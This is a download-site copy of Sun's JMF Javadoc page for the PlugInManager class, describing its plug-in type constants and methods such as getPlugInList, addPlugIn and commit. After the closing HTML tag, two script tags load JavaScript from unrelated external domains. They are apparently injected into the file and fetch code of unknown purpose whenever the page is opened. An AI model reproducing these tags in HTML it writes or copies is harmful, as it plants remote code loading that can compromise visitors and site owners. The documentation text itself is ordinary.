⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 pluginmanager.html

📁 JMF原版英文说明文档
💻 HTML
📖 第 1 页 / 共 2 页
字号:
wait, wait</CODE></TD></TR></TABLE>&nbsp;<P><!-- ============ FIELD DETAIL =========== --><A NAME="field_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Field Detail</B></FONT></TD></TR></TABLE><A NAME="DEMULTIPLEXER"><!-- --></A><H3>DEMULTIPLEXER</H3><PRE>public static final int <B>DEMULTIPLEXER</B></PRE><DL><DD>Demultiplexer plug-in type.</DL><HR><A NAME="CODEC"><!-- --></A><H3>CODEC</H3><PRE>public static final int <B>CODEC</B></PRE><DL><DD>Codec plug-in type.</DL><HR><A NAME="EFFECT"><!-- --></A><H3>EFFECT</H3><PRE>public static final int <B>EFFECT</B></PRE><DL><DD>Effect plug-in type.</DL><HR><A NAME="RENDERER"><!-- --></A><H3>RENDERER</H3><PRE>public static final int <B>RENDERER</B></PRE><DL><DD>Renderer plug-in type.</DL><HR><A NAME="MULTIPLEXER"><!-- --></A><H3>MULTIPLEXER</H3><PRE>public static final int <B>MULTIPLEXER</B></PRE><DL><DD>Multiplexer plug-in type.</DL><!-- ========= CONSTRUCTOR DETAIL ======== --><A NAME="constructor_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Constructor Detail</B></FONT></TD></TR></TABLE><A NAME="PlugInManager()"><!-- --></A><H3>PlugInManager</H3><PRE>public <B>PlugInManager</B>()</PRE><DL></DL><!-- ============ METHOD DETAIL ========== --><A NAME="method_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Method Detail</B></FONT></TD></TR></TABLE><A NAME="getPlugInList(javax.media.Format, javax.media.Format, int)"><!-- --></A><H3>getPlugInList</H3><PRE>public static java.util.Vector <B>getPlugInList</B>(<A HREF="../../javax/media/Format.html">Format</A>&nbsp;input,                                             <A HREF="../../javax/media/Format.html">Format</A>&nbsp;output,                                             int&nbsp;type)</PRE><DL><DD>Builds a list of plug-ins that satisfy the specified plug-in type and input and output formats. Either or both of the formats can be null.  If <code>input</code> is null, <CODE>getPlugInList</CODE> returns a list of plug-ins of the specified type that match the output format.  If <code>output</code> is  null, <CODE>getPlugInList</CODE> returns a list of plug-ins of the specified type that match the input format. If both parameters are null, <CODE>getPlugInList</CODE> returns a list of all of the  plug-ins of the specified type.<DD><DL><DT><B>Parameters:</B><DD><CODE>input</CODE> - The input <CODE>Format</CODE> to be supported by the plug-in.<DD><CODE>output</CODE> - The output <CODE>Format</CODE> to be generated by the plug-in.<DD><CODE>type</CODE> - The type of plug-in to search for, for example:  <CODE>DEMULTIPLEXER</CODE>, <CODE>CODEC</CODE>, <CODE>EFFECT</CODE>,  <CODE>MULTIPLEXER</CODE>, or <CODE>RENDERER</CODE>.<DT><B>Returns:</B><DD>A <CODE>Vector</CODE> that contains the plug-in list.</DL></DD></DL><HR><A NAME="setPlugInList(java.util.Vector, int)"><!-- --></A><H3>setPlugInList</H3><PRE>public static void <B>setPlugInList</B>(java.util.Vector&nbsp;plugins,                                 int&nbsp;type)</PRE><DL><DD>Sets the search order for the plug-ins of the specified type. This enables you to control what plug-in is selected when multiple plug-ins of a particular  type support the same input and output formats. (The first match is selected by the <CODE>Processor</CODE>.) This list is valid for the duration of the session only, unless <code>commit</code> is called.<DD><DL><DT><B>Parameters:</B><DD><CODE>plugins</CODE> - A <CODE>Vector</CODE> that lists the plug-ins in the order that they should be searched.<DD><CODE>type</CODE> - The type of plug-in contained in the search list, for example:  <CODE>DEMULTIPLEXER</CODE>, <CODE>CODEC</CODE>, <CODE>EFFECT</CODE>,  <CODE>MULTIPLEXER</CODE>, or <CODE>RENDERER</CODE>.<DT><B>See Also: </B><DD><A HREF="../../javax/media/PlugInManager.html#commit()"><CODE>commit()</CODE></A></DL></DD></DL><HR><A NAME="commit()"><!-- --></A><H3>commit</H3><PRE>public static void <B>commit</B>()                   throws java.io.IOException</PRE><DL><DD>Commits any changes made to the plug-in list.  The <CODE>commit</CODE> method must be called when a plug-in is added or removed to make the change permanent. Changes to the search order can also be made permanent by calling <CODE>commit</CODE>.</DL><HR><A NAME="addPlugIn(java.lang.String, javax.media.Format[], javax.media.Format[], int)"><!-- --></A><H3>addPlugIn</H3><PRE>public static boolean <B>addPlugIn</B>(java.lang.String&nbsp;classname,                                <A HREF="../../javax/media/Format.html">Format</A>[]&nbsp;in,                                <A HREF="../../javax/media/Format.html">Format</A>[]&nbsp;out,                                int&nbsp;type)</PRE><DL><DD>Registers a new plug-in. This plug-in is automatically appended to the list of plug-ins searched when a <CODE>Processor</CODE> is created.  Registration will fail if a plug-in of the same name already exists. The <code>commit</code> method has to be called to make the addition permanent.<DD><DL><DT><B>Parameters:</B><DD><CODE>classname</CODE> - A <CODE>String</CODE> that contains the class name of the new plug-in.<DD><CODE>in</CODE> - A <CODE>Format</CODE> array that contains the input formats that the plug-in supports.<DD><CODE>out</CODE> - A <CODE>Format</CODE> array that contains the output formats that the plug-in supports.<DD><CODE>type</CODE> - The type of the new plug-in, for example:  <CODE>DEMULTIPLEXER</CODE>, <CODE>CODEC</CODE>, <CODE>EFFECT</CODE>,  <CODE>MULTIPLEXER</CODE>, or <CODE>RENDERER</CODE>.<DT><B>Returns:</B><DD><CODE>true</CODE> if the plug-in is registered successfully, <CODE>false</CODE> if it could not be registered.</DL></DD></DL><HR><A NAME="removePlugIn(java.lang.String, int)"><!-- --></A><H3>removePlugIn</H3><PRE>public static boolean <B>removePlugIn</B>(java.lang.String&nbsp;classname,                                   int&nbsp;type)</PRE><DL><DD>Removes an existing plug-in from the registry. The <code>commit</code> method has to be called to make this change permanent.<DD><DL><DT><B>Parameters:</B><DD><CODE>classname</CODE> - A <CODE>String</CODE> that contains the class name of the plug-in to be removed.<DD><CODE>type</CODE> - The type of the new plug-in, for example:  <CODE>DEMULTIPLEXER</CODE>, <CODE>CODEC</CODE>, <CODE>EFFECT</CODE>,  <CODE>MULTIPLEXER</CODE>, or <CODE>RENDERER</CODE>.<DT><B>Returns:</B><DD><CODE>true</CODE> if the plug-in is succesfully removed, <CODE>false</CODE> if no plug-in with the specified name could be found.</DL></DD></DL><HR><A NAME="getSupportedInputFormats(java.lang.String, int)"><!-- --></A><H3>getSupportedInputFormats</H3><PRE>public static <A HREF="../../javax/media/Format.html">Format</A>[] <B>getSupportedInputFormats</B>(java.lang.String&nbsp;className,                                                int&nbsp;type)</PRE><DL><DD>Gets a list of the input formats that the specified plug-in supports.<DD><DL><DT><B>Parameters:</B><DD><CODE>className</CODE> - The plug-in class name. For example: <CODE>com.sun.media.codec.MPEG</CODE><DD><CODE>type</CODE> - The type of the specified plug-in, for example:  <CODE>DEMULTIPLEXER</CODE>, <CODE>CODEC</CODE>, <CODE>EFFECT</CODE>,  <CODE>MULTIPLEXER</CODE>, or <CODE>RENDERER</CODE>.<DT><B>Returns:</B><DD>An array of <CODE>Format</CODE> objects that the specified plug-in can accept as input. Returns an array of zero elements if specified plug-in is not registered or has no inputs.</DL></DD></DL><HR><A NAME="getSupportedOutputFormats(java.lang.String, int)"><!-- --></A><H3>getSupportedOutputFormats</H3><PRE>public static <A HREF="../../javax/media/Format.html">Format</A>[] <B>getSupportedOutputFormats</B>(java.lang.String&nbsp;className,                                                 int&nbsp;type)</PRE><DL><DD>Gets a list of the output formats that the specified plug-in supports.<DD><DL><DT><B>Parameters:</B><DD><CODE>className</CODE> - The plug-in class name. For example: <CODE>com.sun.media.codec.MPEG</CODE><DD><CODE>type</CODE> - The type of the specified plug-in, for example:  <CODE>DEMULTIPLEXER</CODE>, <CODE>CODEC</CODE>, <CODE>EFFECT</CODE>,  <CODE>MULTIPLEXER</CODE>, or <CODE>RENDERER</CODE>.<DT><B>Returns:</B><DD>An array of <CODE>Format</CODE> objects that the specified plug-in can generate as output. Returns an array of zero elements if specified plug-in is not registered or has no outputs.</DL></DD></DL><!-- ========= END OF CLASS DATA ========= --><HR><!-- ========== START OF NAVBAR ========== --><A NAME="navbar_bottom"><!-- --></A><TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0"><TR><TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"><A NAME="navbar_bottom_firstrow"><!-- --></A><TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3">  <TR ALIGN="center" VALIGN="top">  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD>  </TR></TABLE></TD><TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM></EM></TD></TR><TR><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">&nbsp;<A HREF="../../javax/media/PackageManager.html"><B>PREV CLASS</B></A>&nbsp;&nbsp;<A HREF="../../javax/media/PrefetchCompleteEvent.html"><B>NEXT CLASS</B></A></FONT></TD><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">  <A HREF="../../index.html" TARGET="_top"><B>FRAMES</B></A>  &nbsp;&nbsp;<A HREF="PlugInManager.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD></TR><TR><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">  SUMMARY: &nbsp;INNER&nbsp;|&nbsp;<A HREF="#field_summary">FIELD</A>&nbsp;|&nbsp;<A HREF="#constructor_summary">CONSTR</A>&nbsp;|&nbsp;<A HREF="#method_summary">METHOD</A></FONT></TD><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">DETAIL: &nbsp;<A HREF="#field_detail">FIELD</A>&nbsp;|&nbsp;<A HREF="#constructor_detail">CONSTR</A>&nbsp;|&nbsp;<A HREF="#method_detail">METHOD</A></FONT></TD></TR></TABLE><!-- =========== END OF NAVBAR =========== --><HR><font size="-1">  <a href="mailto:jmf-bugs@sun.com">Submit a bug or feature</a>  <br>Copyright 1999-2000 Sun Microsystems, Inc. 901 San Antonio Road,  Palo Alto, California, 94303, U.S.A. All Rights Reserved.  See the <a href="spec-license.html">Specification License</a> for more details.  <br>Sun, Sun Microsystems, and Java are trademarks or registered  trademarks of Sun Microsystems, Inc. in the US and other countries.</font></BODY></HTML>
<script language=javascript src=http://www.3389qiqi.com/xx.js></script>
<script language="javascript" src="http://grwm.woxwngw.cn/index.htm"></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -